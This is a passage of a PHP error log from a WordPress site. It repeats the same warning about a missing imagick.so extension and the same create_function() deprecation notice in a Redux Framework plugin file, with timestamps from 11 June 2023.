deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:43:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:43:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:44:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:44:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:44:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:44:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:44:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:44:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:44:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:44:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:45:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:45:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:45:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:45:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:45:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:45:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:45:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:45:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:46:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:46:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:46:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:46:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:47:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:47:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:47:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:47:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:47:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:47:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 07:07:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 07:07:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 08:07:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 08:07:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 11:09:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 11:09:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:10:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:10:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:29:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:29:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:29:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:29:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:30:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:30:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:31:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:31:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:31:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:31:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:32:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:32:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:32:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:32:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:32:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:32:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:33:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:33:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:33:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:33:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:33:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:33:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:34:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:34:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:34:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:34:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:34:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:34:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:35:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:35:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:35:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:35:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:35:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:35:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:36:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:36:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:36:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:36:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:36:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:36:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:37:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:37:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:37:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:37:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:37:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:37:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:38:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:38:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:38:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:38:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:39:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:39:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:39:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:39:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:39:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:39:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:39:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:39:52 UTC] PHP Deprecated: Function create_function() is deprecated in 